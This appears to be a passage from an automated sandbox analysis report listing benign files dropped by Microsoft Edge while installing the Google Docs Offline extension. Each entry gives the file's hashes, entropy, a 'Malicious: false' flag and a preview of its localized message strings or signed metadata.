Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11406
Entropy (8bit):	5.745845607168024
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuH+svyw6r+cgTSJJT4LGkt:m8IEI4u8/EgG4
MD5:	0A68C9539A188B8BB4F9573F2F2321D6
SHA1:	E0F814FA4DCC04EDC6A5D39CBC1038979E88F0E5
SHA-256:	39E6C25D096AFD156644F07586D85E37F1F7B3DA9B636471E8D15CEB14DB184F
SHA-512:	13F133C173C6622B8E1B6F86A551CBC5B0B2446B3CF96E4AE8CA2646009B99E4A360C2DB3168CB94A488FAEBD215003DFA60D10150B7A85B5F8919900BD01CCC
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oY